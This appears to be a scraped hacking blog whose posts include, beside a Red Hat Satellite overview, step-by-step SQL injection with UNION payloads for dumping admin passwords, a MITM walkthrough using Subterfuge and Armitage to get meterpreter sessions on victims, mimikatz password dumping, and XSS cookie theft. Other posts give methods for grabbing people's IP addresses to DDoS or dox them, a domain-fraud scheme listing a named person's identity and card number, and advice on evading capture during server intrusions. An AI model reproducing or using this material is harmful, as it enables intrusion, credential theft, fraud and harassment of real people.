TechnoVortex

Red Hat Satellite [Introduction]

2016-06-30T05:02:00.002-07:00

Introduction

Red Hat satellite is an open source system management tool , that can manage the Product life-cycle environment in production.

It allows administrators to directly deploy resources or content in the product life cycle Stage eg: Development,QA etc

Red Hat Satellite is based on upstream project TheForeman and katello. It also consists of puppet for config management, pulp is responsible for content storage and management.

So , in brief ,we could say that Red Hat satellite is life cycle management tool , with provisioning capabilities and integrated config management.

To this day , Satellite 6.1.9 is the major release, with beta 6.2

Satellite also encompasses some useful plugins which are helpful in Hosts management , and auditing some of the plugins are :

OSCAP - The OpenSCAP ecosystem provides multiple tools to assist administrators and auditors with assessment, measurement and enforcement of security baselines. We maintain great flexibility and interoperability, reducing costs of performing security audits.

Discovery Plugin -The satellite is not only capable of provisioning hosts , but can also discover the hosts directly from the specified subnet and later provision them. (Also capable of Bulk Provision)

foreman_templates- When the provisioning is done , we can pre-defined , what the satellite should do next with those provisioned hosts, this can be written in the form of scripts and stored as Provisioning templates , where we can handle the settings while doing provisioning , this provides flexibility, to customize provisioning according to need.

Katello - katello is another open source project , which helps in content management. It helps to provide hosts content and mimic the traditional environment path (Dev → QE → Stage → Production)

Remode Code Execution- This features lets user , run commands on to the hosts diresclty , currently it it uses ssh to do so , but the plan is to add more communication providers. Communication goes through the smart proxy so Foreman does not have to have direct access to the target host and can scale to control many hosts. A command can be customized similarly to provisioning templates.

There are some of many features , that are used very often and makes this tool different from the traditional bunch.

To learn and view all plugins: http://projects.theforeman.org/projects/foreman/wiki/List_of_Plugins

The another feature that interesting is The Provisioning part :

Red Hat Satellite supports all major Providers except Azure (soon to change), the provisioning on these resources is automatically done via Satellite ,and with similar settings and users don't have to provide , provider specific settings. Satellite creates a extra layer of abstraction between the user and providers.

These providers are considered as Compute resources in satellite.

Once the computer resource of any type is added , user has to go to new host page and specifiy the compute resource to deploy host and this would be similar for all providers.

Red Hat Satellite is still gaining it's pace and continuously growing by the hour , it is slowly changing the traditional approaches for life cycle Management and content management.

SQL Injection

2016-05-06T03:07:00.005-07:00

What is Sql Injection:

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

This guide is For Educational purposes Only.Please don't Misuse It

Step-by-Step tutorial for SQL Injection

Step 1: Find a website that is vulnerable to the attack. This is the first step in SQLi and like every other hack attack is the most time consuming, and is the only time consuming step. Once you get through this, rest is a cake-walk. Now, let us all know what kind of pages are vulnerable to this attack. We are providing you with a few dorks(Google strings to find vulnerable sites). Though at the end of this post, we'll provide a list of vulnerable sites.

How to check if a webpage is vulnerable to this attack???
Once you execute the dorks and get the preferred search results. Say for example
hxxp://www.abcd.com/index.php?catid=1

Add a ' (apostrophe) at the end of the URL. Such that the URL looks like
hxxp://www.abcd.com/index.php?catid=1'

If the page returns an SQL error, the page is vulnerable to SQLi. If it loads normally, leave the page and move on to the next site in the search result.

Typical errors you'll get after appending the apostrophe are:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():

Step 2:Once you find a vulnerable site, you need to enumerate the number of columns and those columns that are accepting the queries from you.

Append an 'order by' statement to the URL.
eg. hxxp://www.abcd.com/index.php?catid=1 order by 1

Continue increasing the number after order by till you get an error. So the highest number for which you do not get an error is the number of columns in the table. Now to know the column numbers which are accepting the queries.

Append an 'Union Select' statement to the URL. Also precede the number after "id=" with a hyphen or minus.
Say from the above step, you got that the table has 6 columns.
eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6

Result of this query will be the column numbers that are accepting the queries. Say we get 2,3,4 as the result. Now we'll inject our SQL statements in one of these columns.

Step 3: Enumerating the SQL version
We'll use the mysql command @@version or version() to get the version of the db. We have to inject the command in one of the open columns. Say we use column number 2.

eg. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6

You'll get the version of the database in the place where you had got the number 2. If the starting of the version number is 5 or more, then you are good to go. If less move on to another site.

Step 4: Exploit
To get list of databases:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--

Result will display a list of databases on the site. Here on, we'll write the results we have got from our test.
Result: information_schema,vrk_mlm

To know the current database in use:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm

To get the current user:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost

To get the tables:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users

We'll concentrate our attack on the users table.

To get the columns:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address

By looking at the columns closely, and the order of the tables, we can conclude that starting from id,incredible_id are the columns belonging to the users table and we are interested in that.

Extract information:
union select group_concat(admin_id,0x3a,user_name,0x3a,password,0x3a) from vrk_mlm.administrator--

This will give us the admin_id,username and the password of the admin

Now after we get the Admin password,We just have to find the admin panel of the website and then enter the pass and we are in ......

Receive SMS Online Without Cell Phone

2016-05-06T03:05:00.002-07:00

In This Tutorial we are gonna fix the activation problems That we come across while authenticating or completing surveys , There is a solution to receive sms Online , There is a websites that provides you with cell phone number and the text sms are received on the number online on website .
Features:
Just Pick up a number from the website.
Can do this multiple TimesUsage Unlimited Times
http://cur.lv/10ylj

No Need to register
Number selection choices
Just visit this link , wait for few seconds and skip ads

Getting meterpreter session over MITM Attack [Study Only]

2013-08-17T05:21:00.003-07:00

Hello , I wanna share an interesting technique By which we would get a meterpreter Session Over a MITM in a very easy way.

Tools:

1. Ubuntu [Recommended Kali]

2. Subterfuge [Download Here]

3. Armitage/Metasploit

Now We are familiar with armitage and ubuntu.

What is Subterfuge?

Subterfuge is an automated Man In The Middle Attack Framework. Subterfuge is a web based tools that can run smoothly using ur localhost system without installing webserver (it is included in the installation software). It is a simple but devastatingly effective credential-harvesting program, which exploits vulnerabilities in the inherently trusting Address Resolution Protocol.

Host Machine = windows 7

Victim Machine = Windows xp

Exploit Machine = Kali

Procedure

1 .Start Your VM and Load Kali .

2.Installation of Subterfuge:

Installer Is graphical and you won't have any problem.

root@digit-laptop:~# tar -zxvf SubterfugePublicBeta5.0.tar.gz
root@digit-laptop:~# cd subterfuge
root@digit-laptop:~# python install.py -i
Running Subterfuge :
root@digit-laptop:~#subterfuge

If we get Such output after Running subterfuge then it is successfully installed.

Setting The Environment

a) Don't forget to replicated the Network to your VM machine

b) In VM Do It this way

3. Now Start subterfuge On External Ip adderss and on Any port You desire, This will Allow us to control Subterfuge from anywhere Around Netwotk

subterfuge -s IP:port

In This Case

root@kali:~# subterfuge -s 192.168.72.131:9000
Subterfuge courtesy of r00t0v3rr1d3 & 0sm0s1z
Validating models...
0 errors found
Django version 1.3.1, using settings 'subterfuge.settings'
Development server is running at http://192.168.72.131:9000/
Quit the server with CONTROL-C.

Now Minimize it.

Now You can Configure It from Anywhere Around Your network

Now Open Up Browser And Put the Address Of subterfuge

In This Case we Can configure it from exploit machine itself Or from our host Machine i.e Win 7

Exploit Machine:

Host Machine:

Configuring Suberfuge:

a) Click On settings

b) Select the network interface And Gateway

Note: Don't Auto configure as in some cases It results in problem

For VM , Go in Virtual network Editor to know and configure Your Gateway

c) In configuration section , You can Configure Injection rate and page reload rate

Injection rate Is the Timer After Which the Payload is Sent to victim.

Click Apply To save settings

4. Go to modules And Select HTTP Code Injection

5. Then Exploit as inject-ext-server and Payload as Iframe Injection

6. Fill In the IP of Exploit Machine i.e Kali and the port [Through Which Payload is Going to travel] Always 80 or 8080 for Http Injection

7. Click Apply , Go to Homepage and Click Start

Subterfuge is now Started

8. This Is the output You should Get on exploit machine where started subterfuge

Now Armitage Will Provide Us With Payload

Lets Configure the Payload

9. Start Up Armitage And Search signed Java Applet, Click On it Options are already configured and correct . Just set the URI Path To "/".
Note: Port Should be same as You put in subterfuge for sending Exploit

10. Start The exploit Server

11 . Open Up subterfuge again and Refresh it , Till You See a green Loading Bar

Everything Done , Now As soon as your victims in the network Browses anything There Will Be A Hidden Iframe on every page with Java applet.

You Will Started getting meterpreter session in armitage

Victim:

Meterpreter Session:

Mp3 Tagger [Get Lyrics of songs Hindi/English] -Custom Coded

2013-06-20T09:20:00.004-07:00

This Software lets you find Lyrics Of the songs that you have on Your PC and where-ever on the web

Features

Display scrolling lyrics, you can follow along with the artist and catch every word.
Automatically search and download lyrics.
Huge lyrics database, and it is expanding every day.
No need To register
Easy to setup and install
User Friendly , simple user-interface

Yet to come :

I will add features to save lyrics
The software will work offline

Any suggestions are welcome , Report Bugs To me .

Direct Download : CLICK HERE [Skip Ads]

Just Unzip And Install The Setup

Please provide Reviews and Comments

Extarct Windows System Password [mimikatz]

2013-06-04T03:28:00.002-07:00

How you will feel if you get your windows operating system password in plain text.Is it possible?Yes,we can do it

Steps:
1) Download this file from any one of the following link.

http://cur.lv/1159l

2) Extract it to a new folder,then navigate to this path "mimikatz_trunk-->alpha-->win32 or x64" (Choose your bit)

3) Select that "mimikatz.exe",then right click on it and click "Run as Administrator" (You must run that file with Administrator Rights)

4) Type "privilege::debug" without quotes and press enter,you will get some command as Privilege '20' OK

5) Then type "sekurlsa::logonpasswords" and press enter.Now you will get your system usernames and passwords in plain text.

Get IP Address Effective Methods 4+

2013-06-03T03:47:00.001-07:00

In this tutorial we're going to have a look at how you can gain someone's IP address.

What can I do with someones IP address?

Most people trace people's IP addresses to (D)DoS them. You will need to fill out the persons IP address to do so. Another reason can be that you want to make a complete DoX (Documentation) of a person, or maybe you just want to do a whois search on the IP. There are plenty of things you can do with gaining someones persons IP address.

The URL method:

This is the most easy way to do in a normal situation but it will require some social engineering. You will need to send your victim a link to a website which will then log the IP address of the person who visited that particular link and send hes IP address to you. When the victim visits the link it will turn into a 404 page (there are multiple websites that offer this service, the one we are going to use will result into a 404). This way it's less likely he'll be suspicious. After the link was clicked you will be send the IP address of your victim via mail (again, varies by website).

Steps:
1) Visit http://cur.lv/10yr3
2) Fill in your email (One that you have access to) and press "Get Link".

3) Assuming you want to stay anonymous, copy one of the first two links and send them to your victim (otherwise choose the third one).

4) Check the email you entered earlier to check the IP of your victim!

Tips & Tricks

Do not use your Yahoo email, it's not supported yet.

Make sure you don't throw your link in a public place (think IRC, chatbox, Twitter). If you do, you will get multiple click and thus multiple emails. This way you won't know which of them is your victim.

The Steam method:

A lot of you guys use Steam and I've been personally using it for years now. In those years though, I have met a lot of "annoying people" and I'm sure you have this too some times so this method might come in handy. You can easily get the IP address of anyone in your friend list. If the person isn't on your friend list and won't accept an friend invite, check the Tips and Tricks under the tutorial.

Steps:
1) Go to http://cur.lv/10yr9 and download Commview (22MB).
2) Extract, install and open Commview.
3) In the top left hand corner, choose your Internet adapter and press the blue start button (The adapter where your network traffic comes from, check your adapter options in Windows to see which one you're using. Usually the right one is already selected).

4) As Commview is scanning the in and out coming connections, choose a victim from your Steam friend list and call him.
5) If you did everything right, the IN's will be popping through the roof. This will indicate the IP address of your victim.

6) Copy hes remote IP and have fun!

Tips & Tricks

If your victim doesn't accept you as a friend in the first place, check hes Steam profile for additional information. Maybe he has hes Skype username in there somewhere or some other IM. If he doesn't, create a new free Steam account and add him again.

To verify that you have the right IP, check if the country flag on Commview and hes profile match (If it doesn't, it does not mean you don't have the right IP. He might just have filled in a random country when creating hes Steam account).

The victim doesn't necessarily have to accept your friend request. If he set hes profile as public you can still call/chat with the person. On your friend list, scroll down to check if he does have a public profile.

You can also use Steam resolvers, but those don't normally work.

You can also search for hes Steam ID on Google, maybe he has been banned on a clans server and they put hes IP on the website (happens in various cases).

The Skype Method:

Almost everyone uses Skype these days, but it is also extremely unsecured. If you have someones Skype username, you can instantly get their IP address. Skype is probably the easiest method of obtaining someones IP. You can also use the Steam method on Skype but using a Skype resolver is about 20 times faster. There are tons of free Skype resolvers available right now by doing a quick Google search, but i'll post some here:

http://cur.lv/10yrc
http://cur.lv/10yrd
http://cur.lv/10yre

Steps:
1) Get the Skype username of your victim.
2) Go to one of the websites mentioned above.

3) Resolve your victims IP address!

Tips & Tricks

There are methods out there on how to make your Skype unresolvable, be aware of that.

If your victim uses a proxy or VPN you will get the wrong IP address, so always do a whois on the IP resolved.

The PlayStation 3 and Xbox 360 method:

So you're playing online on your PS3 or Xbox 360 and want to DDoS a particular person offline. You're in luck. You can even get a persons IP address from a game lobby on your PS3 or Xbox 360. So how do we do it? Let's start.

Steps:
1) Download, install and open Cain and Able from http://cur.lv/10yri (7.7MB, Should also come with Winpcap).

2) Click the Start/Stop Sniffer button, now click the Blue plus button. This will scan for all hosts (computers, iPhones, Playstations etc) on the network. At least 1 IP will show up, being your router. Your routers IP address will likely end at .1 or .254.
3) If you have a PlayStation it will state Sony Computer Entertainment under the fingerprint table and with an Xbox 360 Microsoft Corporation. Remember both your routers IP and your Xbox/Playstations IP (I don't have my PS3/Xbox on at the moment).

3) Click "scan MAC addresses" anywhere on the white page. Now click "OK".
4) Go to the ARP tab (bottom of Cain and Able) and click on the upper white page. Now click the blue plus sign again.
5) A big box should open. In the left page, click on the IP of your console. On the right page click on your routers IP.

6) Click Start/Stop ARP and join a online match on your console. You should now see all of the IP's of the people in your game.

Tips & Tricks

To get a specific persons IP, host your own match and invite only your victim. Look up your own IP and compare it with the other one on the list.

Cain and Able is NOT, I repeat NOT a virus. Your AV likes to think it is. If you don't trust me, ask anyone with a little knowledge on Hacking

Additional information:

If you are using an IP tracker also known as Geo-location then you will NOT exactly know where the person lives. It will not give you the exact street and house number. Sometimes it even doesn't give you the right city the victim lives in. The country is mostly always accurate though.

Credits:

Investigator

How To Trace an Email

2012-11-13T11:35:00.000-08:00

Generally, the path taken by an email while traveling from sender to receiver can be explained by following diagram.

Step 1:-So here is the method of tracing the exact location from the email sent.I am showing the email tracing on gmail here but yahoo and other mail providing services have same concept. Step 1:-First open up your email account and click on your inbox.

Step 2:-Now Select any email that you want to trace.

Step 3:-Click on on the more button on the upper right hand of opened email and click on (show original)
Refer image Below..........

Step 4:- Raw data of the e-mail will open up in new tab
The original IP of the sender is enclosed in this raw data or email Header.....

Step 5:- Copy the whole raw data Ctrl+A (select all) then Ctrl+C (Copy).

Step 6:- Open http://cur.lv/12lio (skip ads)

Step 7:- Paste the raw data in textbox Ctrl+V.
And Click on Analyse the header above Button.
The First Ip Will be The Sender IP Adrress.

To see the proper location of this IP address Go to http://www.whatismyip.com or http://www.whois.domaintools.com .These websites help you to find the whole detail and satellite images of the ISP location from the Email was sent.

Change Start Button

2012-10-13T13:05:00.001-07:00

To Get this In Your computer Follow The Exact Steps below

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executable and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from http://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used TheWrath!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.

Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Free Vpn LifeTime

2012-08-19T09:46:00.002-07:00

TO SEE ON HOW TO SETUP AN VPN

(Skip The ads)

Refer: http://cur.lv/4gpa

http://cur.lv/4gpc

http://cur.lv/4gpd

Features of Free Canada VPN

2Mbit/s dedicated high speed internet connection from premium Canada data center for each VPN session, up to 50Gbps total bandwidth to world;
Encrypts and compresses all web browsing traffic;
Bypasses local ISP's traffic shaping and websites blocking;
Hiding online tracks from internet sniffing & web filtering system Websense;
No logs, No traces, no any VPN activities history saved in our VPN side;
Your real internet IP is hidden when using our VPN service;
Working with Microsoft Windows XP/Vista/7, Apple Mac OSX, Linux Ubuntu, iPhone, iPad, Google Android, WM65 and most network appliances;

VPN account information:

PPTP VPN Server Hostname: freecanadavpn.com
PPTP VPN Encryption Mode: Auto
PPTP VPN Username: free
PPTP VPN Password: (visit http://cur.lv/4gpi) (Skip The ad)
<check top right corner> The password will Change daily to avoid abuse of vpn

(Skip The ad)
For more VPN servers visit: http://cur.lv/4gph

Introduction To XSS

2012-08-19T09:44:00.000-07:00

Introduction To XSS

What is XSS ???
Cross-site scripting holes are web-application vulnerabilities that allow attackers to bypass client-side security mechanisms normally imposed on web content by modern web browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access-privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.
There are three types of XSS attacks: Persistent, Non-Persistent, and DOM-Based.

Lets Begin!!

The Vulnerabilty UrL:

http://www.xxx.xx/forum/search.php?id=yyyy

http://www.xxx.xx/xxxx/xxxxxx.php?xx=&yy=yy

Here,yy is the place u can put Your script for execution
or
http://www.xxx.xx/forum/?page_id=&5infor...user=admin

It can be any url which can submit u r query to the server to execute u script...

Firstly you need to register into the victim website so that u can get permission to post and place comments...if you can do the search and comment without register itz ok but often you will need to register and place your scripts to record the cookies
To the Example:
The Hack :::::::::::::

The Url:
Quote:
http://www.xxx.xx/forum/search.php?id=yyyy

now we will replace the 'yyy' in the example with a script to check whether it is vulnerable to xxs or no

The script

<script>alert("TEST")</script>

You can find the huge list of scripts to check whether the websites whether they are vulnerable to xss.
Here:http://leethacks.net/thread-1015.html

If you get a popup on you screen "Test" after executing this..
Then the website is vulnerable to xxs!!
But we need to find the scource and if the scource contains your script the u are on!!!
The code of your script might be changed in the scource the quotes might have filtered or altered but that doesnt matter....we are gonna use
Congrats Now we can try to get admin cookies

Now we are using the String.fromCharCode option.

http://www.wocares.com/noquote.php

Select Javascript (String.fromCharCode, unescape)

Type in "TEST" and we get this:

Code:

String.fromCharCode(116,101,115,116)

Okay now replace this with "\TEST\"
So our adress should now looks like this:

Code:

value=''/><script>alert(String.fromCharCode(116,101,115,116)</script>

Okay after we have done this go back to the first page where you selected the posts of the admin and replace admin again, but now with our new results !
It should look like
Code:
http://www.xxx.xx/xxx/search.php?id='/%3Cscript%3Ealert(String.fromCharCode(116,101,115,116)%3C/script%3E

Congrats you sucessfully hacked a website with XSS !
Now you can search for cookies !
Just use the same method as before !

Getting Free Domains and Hosting

2012-08-19T09:37:00.000-07:00

How to get FREE Domains + Hosting

I recommand you to have the following programs:
– Google Chrome (for translating the website)
https://www.google.com/chrome/

– HideMyIP (or any else IPHider) http://hide-my-ip.com/

Before you are starting please check all my tips!
– Use HideMyIP or any iphider.
– Clear your cookies.
– Never use your personal email.
– Logon your FTP every month so it will keep active.

I put here a list of downloads and links for you.
Hotmail www.hotmail.com
Mijndomein http://cur.lv/11ft8

Step 1:
Create a hotmail account. Link above

Step 2:
After signing up login with your account and go to your inbox.

Step 3:
Put your IP Hider on (if you have it) and go to Mijndomein (Link above).
Once there let Google Chrome
translate it from Dutch to English.

Step 4:
Check if your domain name is free by putting your domain in the
topbar. Click “controleer” to check it.

Step 5:
On the page we're all the domains are listed choose a domain and pick out the “webhosting pakket”. Scroll down and click “volgendestap”.

Step 6:
The current price is now 29.99€. Choose a maximum of 3 domains. After that click “volgende stap”.

Step 7:
On this page we will putting in adress details. Pick one of the following
adresses! Dont use your own or you will fail using this method! Confirmed to work info!
__________________________________________________________

Address: Bommelstraat 18
Postal Code: 6525 SN
Area thing?: Nijmegen
Phone Number: 06-34731236 (Remove the dash when entering it)
__________________________________________________________
Oostermaat 7
7623 CS
Borne
Or use this one!
Waterstraat 47
3511 BW
Utrecht
~If these don't work use the info provided below.
Bryan K. Damiano
Oerdonk 68
6641 LH Beuningen
Phone:06-47399643
Website:MRequest.com
Email: Use the fake one you created!
Mother's Maiden name:Dantonio
Birthday:July 10, 1944 (66 years old)
MasterCard:5195 9345 4958 2751
Expires:3/2011
Occupation:Milling and planing machine operator
UPS Tracking Number:1Z 064 574 10 9086 049 5
Blood type:AB+
Weight:219.1 pounds (99.6 kilograms)
Height:5' 11" (181 centimeters)

Step 8:
On this page we will be filling the payment details in. On the part “rekeningnummer” fill in a 5 digit number! If the green sentence will show up you have an good number, if not try another. After filling in
all the details click “volgende stap”.

Step 9:
On the check page click you heard the website from Google. And click
the checkbox under it, and click after that “afrekenen”.

Step 10:
Click on the left side “overzicht domeinen”. If it says it is creating the
structure and creating the DNS you've succesfully created your free domain with a host!
You will recieve the FTP details in a day or two.

`Hacking Telenet And FTP

2012-06-06T12:00:00.002-07:00

INTRODUCTION:

A little background is needed before we get into hacking techniques.

When we talk about ‘Hacking’, we are talking about getting some access on a server we shouldn’t have. Servers are set up so that many people can use them. These people each have different ‘accounts’ on the server – like different directories that belong just to them. If Fred has an account with the froggy.com.au ISP (Internet Service Provider), he will be given:
(1) a login name, which is like the name of your directory; and
(2) a password, which lets you get access to that directory.
This login name and password will usually give you access to all of Fred’s services - his mail, news services and web pages. There is also the ‘root’ account, which has it’s own login and password. This gives super-user access to the entire server. We will focus on ‘getting root’, in this help file.

[Ok, I want to move to the 'anatomy of the hack']
[I know all this, let me move straight to hacking]
[
I don't have a clue what you're on about, let me read some backgroundon this so called "Internet" you keep referring to <http://www.cyberarmy.com/tute/htext1.shtml>]

THE ANATOMY OF THE 'HACK':
There are two main ways to break into a system. Think of a server as a Swiss Bank Vault. There are two main ways to get in. You can try to get in by finding the combination of the vault. This is like finding the password. It’s how you are meant to get in. The second way is by using dynamite. You forget all about the ‘proper’ way to get in. This is like using ‘exploits’, or weaknesses in the servers operating system to gain access.

[Ok, Let's Go. Tell Me About Not Getting Caught]
[Stuff it, I know how to not get caught, on to the techniques!]

'DON'T GET CAUGHT':

Hacking is illegal, and it is very easy to trace you if froggy.com.au realizes you hacked them. Wherever you go,
your IP number (your computer’s unique identification) is left and often logged. Solutions:

1. When you set up your account with an ISP, give a false name and address.

[Nah, I can't be bothered, what other things can I do?]
[Ok, I used this trick. What else can I do?]
[Stuff it, I know how to not get caught, on to the techniques!]

'DON'T GET CAUGHT':
2. Hack using a filched account (stolen password, etc.). A tool called Dripper <http://www.cyberarmy.com/files/dripper.zip> can steal passwords for you from public net cafes and libraries.

[Nah, just tell me something easy I can do right now]
[Ok, done. Anything else I should do?]

'DON'T GET CAUGHT':
3. Port your connection through something else.
An easy way to do this is to change your proxy settings. By using the proxy settings meant for a different ISP, it can look like you are surfing from wherever that ISP is. A list of proxies you can use is here <http://www.cyberarmy.com/lists/proxy>.
You should also do any important info gathering through the IP Jamming Applet on the Cyberarmy.Com <http://www.cyberarmy.com> to hide your IP.
If you want super anonymity, you should be surfing in an account you set up under a false name, with your proxy settings changed, and also surfing through the IP Jamming applet! Be aware that some ISPs could use Caller ID to test the number of someone logging on. Dial the relevant code to disable Caller ID before calling your ISP.

[I don't understand about the proxy settings thing, let me read more <http://www.cyberarmy.com/tute/htext3.shtml>]
[Ok, I am wired for hyper stealth... Now, I want to HACK!]

INFO GATHERING:

To start off, you will probably need to gather information about www.froggy.com.au using internet tools.

[Ok, how?]
[Give me some reading to do about info gathering <http://www.cyberarmy.com/tute/htext2.shtml>]
[No, I've already got all the info, just tell me what to do]

DIRT DIGGING STAGE:
We are now taking the first steps of any hack... Info Gathering.
You should be set up for stealth mode. Get a notepad, and open a new browser window (through the IP Jammer). Bring the www.froggy.com.au 's web page up in the IP Jammer's window. You can load the IP Jamming applet on the Cyberarmy.Com <http://www.cyberarmy.com>.

[Ok, What Now?]

CASE THE JOINT:
1. First, check out the site. Take down any email addresses, copy down the HTML of important pages.

[Done... What Else?]

THE OLD BOUNCING MAIL TRICK:
2. Send a mail that will bounce to the site. If the site is www.froggy.com.au , send a mail to blahblahblah@froggy.com.au . It will bounce back to you and give you information in its header.
Copy the information from the headers down.
(To maintain anonymity, it might be a good idea to send and receive the mail from a free web based provider, such as hotmail.com. Use full stealth features when sending the bouncing mail. This will protect you when they check through the logs after they are hacked.)

[Done... What Else?]

TRACEROUTE:
3. Still using stealth features, Traceroute froggy.com.au . This Traceroute search is avaliable from the Hacker's Home Page, in the Net Tools section.
This will tell you the upstream provider of the victim server.

TOOLS

[Ok, what next?]

WHOIS:
3. Still using stealth features, Whois the site. This Whois search is avaliable from the Hacker's Home Page, in the Net Tools section.
This will give you information on the owners and servers that run the site. Write it down.

TOOLS

[Ok, what next?]

GIVE 'EM THE FINGER:
4. Finger the site. Use this finger service at Cyberarmy.Com to check the site. Try fingering just with “finger @froggy.com.au ” first. This sometimes tells you the names of all accounts. If this does not work, try fingering any email addresses you found on the site, and through Whois. This will sometimes give you useful information.

FINGER @

[Ok, what next?]

THE DEADLY PORT SCAN:
5. Now, we're about to get rough on the site. Port Scan the site.
Port scanning checks for all open ports for an IP. It is extremely useful, however, it practially screams to the webmaster's of the victim site that they are in the middle of being hacked. The is basically no legitimate reason to port scan a site unless you are about to hack it.
There are no very good ways to hide a port scan, but there are a few semi-stealthy port scanners. Most are only for Linux / Unix systems. However, the Exploit Generator for Windows is one that claims to be stealthy. However, if you are trying to enter a very secure site, perhaps forget about port scanning for now, unless you are running Linux.
Though, port scan will tell you all the services a site is running. If port 21 is open, it means they have an FTP server. If port 23 is open, it means they have telnet.

[Ok, What next?]

TELNETTING:
5. The aim of telnetting to the site is basically to try and find out the server type. While your browser is in stealth mode, use the Anonymous Telnet applet in the Cyberarmy.Com <http://www.cyberarmy.com> to open a Telnet window.
Telnet to the site to Port 23. Usually, if the address is “www.froggy.com.au ”, try telnetting to "froggy.com.au ". If this does not work, try to telnet to telnet.froggy.com.au or try telnetting to any of the sites listed as name servers in your previous Whois search. Once you have got access, note any information it gives you, such as server type.

[This worked - I got the server type!]
[None of that worked...]

TELNETTING:
Now change the telnet to port 21. This should send you straight in to the server's FTP port. If this works, try typing SYST to find out what server type it is.

[This worked - I got the server type!]
[None of that worked...]

TELNETTING:
Now, if you are lucky, try telnetting to port 80, the HTTP port. Note if this gives you any information.

[This worked - I got the server type!]
[None of that worked...]

RUNNING LAME PROGRAMS:
You *need* to know the server type to have any hope of hacking the thing. How do you expect to run exploits against it if you cant even figure out what you're dealing with here?
A final resort is to run a program called Whats Running? It doesn't work very well, but will sometimes tell you the server type. It will also probably be logged by the victim server.
If that doesn't work, do anything to find the server type. Even write them an e-mail asking what operating system they're running.

[Ok, I've got the Info... Now I want access!]

HACKING THROUGH THE PASSWORD:
We will now try to go through the front door of the server. As to our analogy, we are trying to find the combination of the safe.

[Ok, I Want Root!]
[Nah, I already know this server will need exploits]

EASY THINGS FIRST:

You would kick yourselves if ya spent weeks trying advanced hacking with exploits, IP spoofing and social
engineering, just to find that we could have got in by using:

$Login: root
$Password: root

So, let’s just try this first and get it out of the way. Unix comes set up with some default passwords, and
sometimes these are not changed. So, we telnet to froggy.com.au .

Don’t use your usual telnet program. Unless you are using a filched or anonymous account, it will show
your IP address to froggy.com.au . With your proxies changed, and everything set for stealth, switch back to the Anonymous Telnet window.

Then try the following accounts and passwords:

ACCOUNT: PASSWORD
(login) root: (password)root
sys: sys / system / bin
bin: sys / bin
mountfsys: mountfsys
adm: adm
uucp: uucp
nuucp: anon
anon: anon
user: user
games: games
install: install
demo: demo
umountfsys: umountfsys
sync: sync
admin: admin
guest: guest
daemon: daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are root level accounts, meaning they have sysop power, or total power. Other logins are just "user level" logins meaning they only have power
over what files/processes they own.

[Nup... Didn't think it would work]
[Incredible... That Lame Trick Actually Worked!]

USING THE LOGIN NAMES:
Still simple things first. About 1 in 20 people are stupid enough to have the same login name and password. With your list of all the email addresses or finger information you dug from the site, try this.
For example, if the web site made a reference to fred@froggy.com.au , try logging in (through telnet or a FTP
program to their server) as:

$Login: Fred
$Password: Fred

